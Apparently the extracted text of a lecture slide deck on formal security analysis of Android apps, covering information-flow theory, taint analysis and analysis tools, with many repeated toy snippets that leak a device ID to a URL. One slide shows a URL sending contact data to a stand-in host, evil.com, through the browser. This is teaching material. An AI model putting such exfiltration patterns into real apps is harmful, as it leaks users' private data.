Formal Security Analysis of Android Apps

Matteo Maffei
Top 'free' Android apps secretly leak users' private contact lists to advertising companies

- Many of top 50 free apps leak data such as private contacts lists
- No warning that apps will share information with advertising firms
- 'They are following you. They are getting information about your friends,' says EU Vice President
Android apps 'leak' personal details

Millions of people are using Android apps that can be tricked into revealing personal data, research indicates.

Scientists tested 13,500 Android apps and found almost 8% failed to protect bank account and social media logins.

These apps failed to implement standard scrambling systems, allowing "man-in-the-middle" attacks to reveal data that passes back and forth when devices communicate with websites.
iOS, Android Apps Found Leaking User Privacy Data, Researchers Say

MARITZA SANTILLAN
OCT 24, 2016

LATEST SECURITY NEWS

SECURITY NEWS

tripwire®
Gooligan malware attack hits one million Google accounts

The malware attack hijacks phones and uses them to download unauthorised apps from outside the Google Play store

Exploits extremely slow patching process

By MATTHEW REYNOLDS

Thursday 1 December 2016
Warning! Over 900 Million Android Phones Vulnerable to New 'QuadRooter' Attack

Sunday, August 07, 2016  Swati Khandelwal
Android owners warned of 'most sophisticated and targeted mobile attack ever seen' that can take over phones and even uninstall itself if it thinks it has been spotted

- Found a hack designed by the group who released Pegasus on iOS handsets
- Called Chrysaor, it uses the microphone and camera to spy on users
- If it can't root a device, it requests permissions that still lets it to steal your data
- The malware can also uninstall itself if it is at risk of being detecting
- Only a few Androids have been infected in hotspots or war stricken areas

By STACY LIBERATORE FOR DAILYMAIL.COM
Breaks sandbox separation logic by notifications (can be read by everyone) and accessibility service (can be read and write everything)
Outline

• Android architecture

• Security model

• Security, what? (security definitions)

• Security, how? (enforcement techniques)
Android architecture
It is like Java!

We know how to handle it…
It is like Java!

We know how to handle it…

Not quite!
public static int add(int i, int j) {
    return i + j;
}

public static int add(int, int);

Code:
0: iload_0
1: iload_1
2: iadd
3: ireturn

.method public static add(II)I
    add-int v0, p0, p1
    return v0
.end method

Dalvik Bytecode (register-based)

JVM Bytecode (stack-based)
JNI

- Java can call C/C++ code and vice versa
App components
Activities

- Application components that provide users with a screen through which they can interact (take a photo, send an sms, etc.)

- Each activity has a different window (separate user interface)

- An app typically has multiple activities, which can possibly communicate with and trigger each other
Inter-Process Communication

• An Intent is a messaging object that is used to request an action from another app component

  • `startActivity()` (or can get result via `startActivityForResult()` and `onActivityResult()` callback)

  • `startService()` (component that performs operations in the background without user interfaces)

  • `sendBroadcast()` (can be received by any app)
Intent types

• **Explicit**: specify the component by name (typically used within the same app)

• **Implicit**: specify a general action, which allows a component from another app to handle it (e.g., show user location on the map)
Broadcast receiver

A broadcast receiver is an Android component used to register for system or application events.

All registered receivers for an event are notified by the Android runtime once this event happens.
Android’s app Lifecycle
Content providers

- Used to store data and share them with other applications securely (access control)
- Provide convenient abstraction
Outline

• Android architecture

• Security model

• Security, what? (security definitions)

• Security, how? (enforcement techniques)
Key concepts

- Application sandbox, enforced at the kernel level
- Secure IPC (sockets, intents, etc.)
- Least privilege (system services)
- Code signing (application as well as OS updates)
- Android permissions
Android permissions

• By default, applications cannot interfere with others, unless they require special permissions…

• Accepted by users, enforced by OS

Traditionally at compile time now (>6.0) at run time, mitigates usability problems
Outline

• Android architecture
• Security model
• Security, what? (security properties)
• Security, how? (enforcement techniques)
Security analysis
Provable security

- We focus on techniques to formally prove the security of an application
  - Much harder than bug finding
- We need rigorous
  - security definitions
  - semantic models
  - verification techniques
Confidentiality

• We would like to protect sensitive data from malicious apps

• *Access control does not suffice*: e.g., calendar can access the address book (e.g., to send invitations) but not to leak it to third-party servers

• We need to look inside of the box and reason about information flow....
Non-interference

[Goguen and Meseguer ’82]

A program is secure iff high inputs do not interfere with low-level view of the system.

- Variables partitioned into high and low (can be generalised to arbitrary security lattices)
Non-interference
[Goguen and Meseguer ’82]

A program is secure iff high inputs do not interfere with low-level view of the system

- Property that talks of two runs of the program as opposed to one: technically, an hyperproperty
  [Clarkson and Schneider '08]
Non-interference, formally

\[ [[ C ]] : \text{Int} \times \text{Int} \rightarrow (\text{Int} \times \text{Int}) \perp \]

C is **secure** if and only if
\[
\forall \text{mem, mem'}. \text{mem} =_L \text{mem'} \Rightarrow [[C]] \text{mem} \approx_L [[C]] \text{mem'}
\]

Low-memory equality: \((h, l)\)
\((h', l')\) iff \(l = l'\)

C’s semantic behavior

Low-view \(\approx_L\): indistinguishability by attacker
Side channels

- \( l := h \) (direct channel)
- if \( h \) then \( l := 1 \) else \( l := 2 \) (indirect channel)
- while \( h = 1 \) do skip (termination channel)
- if \( h = 1 \) then \( C_{\text{long}} \) else skip (timing channel)
- and many others (e.g., probabilistic due to scheduling)
Taint analysis

• Non-interference often too strong (basically, secret information cannot be used to produce any visible effect) and difficult to enforce

• Taint analysis focuses on direct channels only, requiring that taint (e.g., confidential) information is never directly leaked to public sinks

• The idea is to track taint across assignments…

\[ x := y + 1 \]
\[ \text{out (x)} \]

If y is tainted, also x gets tainted and the output is rejected by the analysis
Weak secrecy [Volpano'99]

if (h=0) then l:=1
else l:=2
out 1

C satisfies weak secrecy iff whenever
\((C, \text{mem}) \rightarrow^*_D (C', \text{mem}')\), D is non-interferent

- Idea: “extract” all possible sequential runs and check that each of them is non-interference

Extracts the sequence of executed assignments/outputs
Drawbacks

• Very syntactic: "extract" all assignments...what does it mean in a language with side effects?

• e.g., expressions used in guards can have side-effects: e.g., if (h:=0)=0 then ... else ...

• What about low-level code (e.g., bytecode) that can access its own program text as data? If we extract only part of it, program memory will differ in the extracted variant...

```
1 load r1, mem[2] // r1 := opcode of instr. 2
2 bz r1, addr // branch if zero
3 store r1, mem[low] // store at [low]
```
Explicit secrecy
[Schoepe and Sabelfeld '16]

• Weak secrecy starting point
• Works for arbitrary language
• Split configurations into state and control
• Record only changes to state as functions
\[ x_1 := e_1; \quad \leadsto \quad f_1(m) = m[x \mapsto m(e_1)] \]
\[ \text{if}(e) \ldots \quad \leadsto \quad f_2(m) = m \]
\[ \ldots \quad \leadsto \quad \ldots \]
\[ x_n := e_n; \quad \leadsto \quad f_n(m) = m[x \mapsto m(e_n)] \]
\[ f = f_n \circ \ldots \circ f_1 \]
\[ x_1 := e_1; \quad \sim \implies \quad f_1(m) = m[x \mapsto m(e_1)] \]

\[ \text{if}(e) \ldots \implies f_2(m) = m \]

\[ \ldots \]

\[ x_n := e_n; \quad \sim \implies \quad f_n(m) = m[x \mapsto m(e_n)] \]

\[ f = f_n \circ \cdots \circ f_1 \]

- Knowledge as changes to state:

\[ k_e(m_0, f) = \{ m | m_0 =_L m \land f(m) =_L f(m_0) \} \]
\[ x_1 := e_1; \quad \leadsto \quad f_1(m) = m[x \mapsto m(e_1)] \]
\[
\text{if}(e) \ldots \quad \leadsto \quad f_2(m) = m
\]
\[
\ldots
\]
\[
\ldots
\]
\[ x_n := e_n; \quad \leadsto \quad f_n(m) = m[x \mapsto m(e_n)] \]
\[
f = f_n \circ \cdots \circ f_1
\]

- Knowledge as changes to state:
\[
k_e(m_0, f) = \{ m | m_0 =_L m \land f(m) =_L f(m_0) \}
\]

- Secure when knowledge doesn’t increase
\[
\langle c, m \rangle \xrightarrow{\_f}^* \langle c', m' \rangle \Rightarrow \forall m_0. \ [m_0]_L \subseteq k_e(m_0, f)
\]
• if \( l = 0 \) then \( l := l \times h \) else skip

• if \( h \) then \( l := 1 \) else \( l := 2 \)

• if \( h = 0 \) then \( l := h \) else \( l := 0 \)
• if \( l = 0 \) then \( l := l \times h \) else skip

• if \( h \) then \( l := 1 \) else \( l := 2 \)

• if \( h = 0 \) then \( l := h \) else \( l := 0 \)
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)

\[ f(m) = m[l \rightarrow m(l) \times m(h)] \]
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)

\[ f(m) = m[l \rightarrow m(l) \times m(h)] \]

\[ f_i(m) = m[l \rightarrow i] \]
• if \( l=0 \) then \( l := l \times h \) else skip

• if \( h \) then \( l := 1 \) else \( l := 2 \)

• if \( h=0 \) then \( l := h \) else \( l := 0 \)
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)

\[ f(m) = m[l \rightarrow m(l) \times m(h)] \]

\[ f_i(m) = m[l \rightarrow i] \]

\[ f_i(m) = m[l \rightarrow m(h)] \]
Machine code

1. load r1, mem[2]  // $f_1(m, r) = (m, r[r_1 \mapsto m[2]])$
2. bz r1, addr     // $f_2(m, r) = (m, r)$
3. store r1, mem[1] // $f_3(m, r) = (m[l \mapsto r[r_1]], r)$

- $m[2]$ contains constant
- $f_3 \circ f_2 \circ f_1$ secure
- Control flow not recorded
- Properly handles using code as data
Privilege escalation
[Davi et al., '10]

- E.g., a vulnerability in the Phone app (here Application B) used to allow any app to make arbitrary phone calls
Example: use Internet browser for Internet permission

1) Ask Browser to open URL
2) Browser loads URL
   - GET: Files are downloaded, by default to SD card
   - POST: Send data to server

http://evil.com/post?contact1name=Foo&contact2phone=1234 ...
Other example?

**New Attack Busts Android for Work**

**By Maxime**  February 6, 2017  10:35 AM EST

Skyeye, a subsidiary of the security firm Symantec, recently demonstrated a new attack that compromises Android for Work. The attack, which uses notifications and accessibility services, can potentially steal sensitive information.

**Breaks sandbox separation logic by notifications (can be read by everyone) and accessibility service (can read and write everything)**
As soon as an application receives a message from another application, a monitor lowers the privileges of the recipient to the intersection of the privileges of the two applications.
Outline

• Android architecture
• Security model
• Security, what? (security properties)
• Security, how? (enforcement techniques)
Dynamic Analysis
(monitors, inlined monitoring, sandboxing, …)

TaintDroid [Enck et al.,’10]
Dr. Android [Micinsky et al.11]
I-ARM-Droid [Davis et al.,’12]
Aurasium [Xu et al.’12]
AppGuard [Backes et al.,’13]
Boxify [Backes et al.,’15]
…
AppGuard
[Backes, Gerling, Hammer, Maffei, von Styp-Rekowsky '13]

• Allows users to grant or remove fine-grained permissions at run-time (way before Android 6.0 and more fine-grained)

• First dynamic analysis technique that does not require any modification of the firmware
  • based on inline reference monitoring

• Academic impact
  • >100 citations in < 3 years

• Technology transfer
  • Installed on > 3 million devices in Germany
FlowDroid [Arzt et al.,’14]
DroidSafe [Gordon et al.’15]
Cassandra [Lortz et al.’15]
JoDroid [Mohr et al., '16]
HornDroid [Calzavara et al.,’16]
...
Dynamic vs static

✓ Stop attacks
✓ More precise
✓ Effective against code obfuscation
✘ Security guarantees only for the present run
✘ Run-time overhead (often small)
✘ Possible crashes

✓ Security guarantee for all program runs
✓ Server-side as well as client-side vetting
✓ Purely at compile time
.line 31
input-boolean v1, v0, Lcom/king/core/GameActivity;->mAutoHideOnSubmit:Z
return v1
.end method
.method private pauseAccelerometer()V
.registers 3
.prologue
.line 513
i-get-boolean v0, v2, Lcom/king/core/GameActivity;->mAccelerometerActive:Z
if-eqz v0, :cond_b
.line 514
i-get-object v0, v2, Lcom/king/core/GameActivity;->mSensorManager:Landroid/hardware/SensorManager;
i-get-object v1, v2, Lcom/king/core/GameActivity;->mRotationCompensator:Landroid/hardware/SensorEventListener;
invoke-virtual {v0, v1}, Landroid/hardware/SensorManager;->unregisterListener(Landroid/hardware/SensorEventListener;)V
:cond_b
return-void
.end method
.method private resumeAccelerometer()V
.registers 5
.prologue
.line 507
i-get-boolean v0, v4, Lcom/king/core/GameActivity;->mAccelerometerActive:Z
if-eqz v0, :cond_e
.line 508
i-get-object v0, v4, Lcom/king/core/GameActivity;->mSensorManager:Landroid/hardware/SensorManager;
i-get-object v1, v4, Lcom/king/core/GameActivity;->mRotationCompensator:Landroid/hardware/SensorEventListener;
i-get-object v2, v4, Lcom/king/core/GameActivity;->mAccelerometer:Landroid/hardware/Sensor;
const/4 v3, 0x0
invoke-virtual {v0, v1, v2, v3}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;)V
:cond_e
return-void
.end method
Key features:

- Value
- Flow
- Context
- Sensitivity

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }
}
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        foo(int guard, Storage st, Storage st2) {
            if (guard > 0) { st.s = getDeviceId(); }
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
public class Storage {
    String s;
    int id;
    Storage(){
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        void foo(int guard, Storage st, Storage st2) {
            if (guard > 0) {st.s = getDeviceId();}
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
public class Storage {
  String s;
  int id;
  Storage()
  {
    this.id = 0;
    this.s = "default";
  }
}

class Leaky extends Activity {
  onCreate()
  {
    Storage st = new Storage();
    Storage st2 = new Storage();
    st = st2;
    int i = 42;
    i = st.id;
    foo(i, st, st2);
  }

  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) {st.s = getDeviceId();}
    send(st2.s, "http://www.myapp.com/");
  }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
    
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);  
    
    }
```
```java
public class Storage {
    String s;
    int id;
    Storage(){
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        void foo(int guard, Storage st, Storage st2) {
            if (guard > 0) {st.s = getDeviceId();}
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
```
Value-Sensitivity

Thanks to VS the analysis may detect the “dead” branch and show that the app is secure.

```java
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}
```

```java
public class Leaky extends Activity {
    @Override
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Value-Sensitivity

```java
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```

Thanks to VS the analysis may detect the “dead” branch and show that the app is secure. But VS is not enough!
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        void foo(int guard, Storage st, Storage st2) {
            if (guard > 0) {st.s = getDeviceId();}
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }
    void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
        foo(i, st, st2);
    }
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
Flow-Sensitivity (registers)

If the analysis is not flow-sensitive, then i is abstracted as \{42,0\}

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Flow-Sensitivity (registers)

If the analysis is not flow-sensitive, then i is abstracted as \{42,0\}
Flow-Sensitivity
(registers)

If the analysis is not flow-sensitive, then i is abstracted as \{42,0\}

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Thanks to VS & FS analysis detects the “dead” branch and shows that the app is secure.

If the analysis is not flow-sensitive, then i is abstracted as \{42,0\}.
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
public class Storage { 
    String s;
    int id;
    Storage(){
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/"); 
    }

    int identity (int n) { return n; }
}
public class Storage {
    String s;
    int id;
    Storage(){
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
    int identity (int n) { return n; }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
public class Storage {
  String s;
  int id;
  Storage() {
    this.id = 0;
    this.s = "default";
  }
}

public class Leaky extends Activity {
  onCreate() {
    Storage st = new Storage();
    Storage st2 = new Storage();

    st = st2;
    int i = 42; i = identity(i);
    i = st.id; i = identity(i);
    foo(i, st, st2);

    st2 = new Storage();
    foo(42, st, st2);
  }
  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) {st.s = getDeviceId();}
    send(st2.s, "http://www.myapp.com/");
  }
  int identity (int n) { return n; }
}
Flow-Sensitivity (heap)

Thanks to FS the analysis may know that \texttt{st2} is no longer an alias of \texttt{st} and show that the app is secure.

But FS is again not enough!

```java
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);
        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
public class Storage {
    String s;
    int id;
    Storage()
    {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```java
public class Storage {
    String s;
    int id;
    Storage(){
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
    int identity (int n) { return n; }
}
Context-Sensitivity

If the analysis is not context-sensitive, then i is abstracted as \{42,0\}

```java
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```
Context-Sensitivity

If the analysis is not context-sensitive, then `i` is abstracted as `{42,0}

Thanks to FS\&CS analysis knows that `st2` is no longer an alias of `st` and shows that the app is secure
public class Leaky extends Activity {
    Storage st = new Storage();
    Storage st2 = new Storage();
    onRestart() { st2 = st; }
    onResume() { st2.s = getDeviceId(); }
    onPause() { send(st.s, "http://www.myapp.com/"); }
}
Flow-Sensitivity
(heap)

Multiple entry points + Arbitrary order
= Infinite possibilities
Flow-Sensitivity

Multiple entry points + Arbitrary order
= Infinite possibilities

How about:
onRestart() -> onPause() -> onResume -> onPause() ?
Other challenges...
public class AppAct extends Activity {
    class A { public String b = "Y"; }

    public class B { public A attr; }

    onCreate() {
        String deviceId = getDeviceId();
        A b, q, y;
        B a, p, x;
        a = new B();
        p = new B();

        b = new A();
        q = new A();

        if (Math.random() < 0.5) {
            x = a;
            y = b;
        } else {
            x = p;
            y = q;
        }
        x.attr = y;
        q.b = deviceId;

        send(a.attr.b, "http://www.myapp.com/");
    }
}
public class AppAct extends Activity {
    class A { public String b = "Y"; }

class B { public A attr; }

onCreate() {
    String deviceId = getDeviceId();
    A b, q, y;
    B a, p, x;
    a = new B();
    p = new B();

    b = new A();
    q = new A();

    if (Math.random() < 0.5) {
        x = a;
        y = b;
    } else {
        x = p;
        y = q;
    }
    x.attr = y;
    q.b = deviceId;

    send(a.attr.b, "http://www.myapp.com/");
}
Precise aliasing

Leak can happen only if
x is aliased to a
and
y is aliased to q

```java
public class AppAct extends Activity {
    class A { public String b = "Y"; }

    public class B {public A attr; }

    public void onCreate() {
        String deviceId = getDeviceId();
        A b, q, y;
        B a, p, x;
        a = new B();
        p = new B();
        b = new A();
        q = new A();

        if (Math.random() < 0.5) {
            x = a;
            y = b;
        } else {
            x = p;
            y = q;
        }
        x.attr = y;
        q.b = deviceId;
        send(a.attr.b, "http://www.myapp.com/");
    }
}
```
Arrays

```java
public class AppAct extends Activity {

    onCreate() {
        String[] array = new String[10];
        array[5] = getDeviceId();
        array[4] = "no taint";
        send(array[calculateIndex()], "http://www.myapp.com/");
    }

    private int calculateIndex()
    {
        int index = 1;
        index++;
        index *= 5;
        index = index%10;
        index += 4;

        return index;
    }

}
```
public class AppAct extends Activity {

    onCreate() {
        String[] array = new String[10];
        array[5] = getDeviceId();
        array[4] = "no taint";
        send(array[calculateIndex()], "http://www.myapp.com/");
    }

    private int calculateIndex() {
        int index = 1;
        index++;
        index *= 5;
        index = index%10;
        index += 4;

        return index;
    }
}
Arrays

The main challenge here is to support in the analysis precise array indexes.
```java
public class AppAct extends Activity {
    private static String imei = null;
    
    onCreate() {
        imei = getDeviceId();
    }

    public void sendMessage(){
        String s = Button.getHint().toString();
        send(s, "http://www.myapp.com/");
        (Button.setHint(imei);
    }
```
```java
public class AppAct extends Activity {
    private static String imei = null;
    public void onCreate() {
        imei = getDeviceId();
    }

    public void sendMessage() {
        String s = Button.getHint().toString();
        send(s, "http://www.myapp.com/");
        (Button.setHint(imei);
    }
}
```
Callbacks

sendMessage() is called on button click (two clicks are enough to leak)
public class AppAct extends Activity {

    private static String imei = null;

    onCreate() {
        imei = getDeviceId();
        Datacontainer data1 = new Datacontainer();
        send(data1.value, "http://www.myapp.com/");
        data1.value = imei;
    }

    class Datacontainer {
        String value = "android";
    }
}
public class AppAct extends Activity {
    private static String imei = null;
    
    onCreate() {
        imei = getDeviceId();
        Datacontainer data1 = new Datacontainer();
        send(data1.value, "http://www.myapp.com/");
        data1.value = imei;
    }

    class Datacontainer{
        String value = "android";
    }
}
public class AppAct extends Activity {
    private static String imei = null;
    onCreate() {
        imei = getDeviceId();
        Datacontainer data1 = new Datacontainer();
        send(data1.value, "http://www.myapp.com/");
        data1.value = imei;
    }

class Datacontainer{
    String value = "android";
}

public class OutFlowActivity extends Activity {
    public void onCreate()
    {
        String imei = getDeviceId();
        ComponentName cn =
            new ComponentName("InFlowActivity");
        Intent i = new Intent();
        i.setComponent(cn);
        i.putExtra("DroidBench", imei);
        startActivity(i);
    }
}

public class InFlowActivity extends Activity {
    public void onCreate()
    {
        Intent i = getIntent();
        String imei = i.getStringExtra("DroidBench");
        send(imei, "http://www.myapp.com/");
    }
}
public class OutFlowActivity extends Activity {
    onCreate() {
        String imei = getDeviceId();
        ComponentName cn =
            new ComponentName("InFlowActivity");
        Intent i = new Intent();
        i.setComponent(cn);
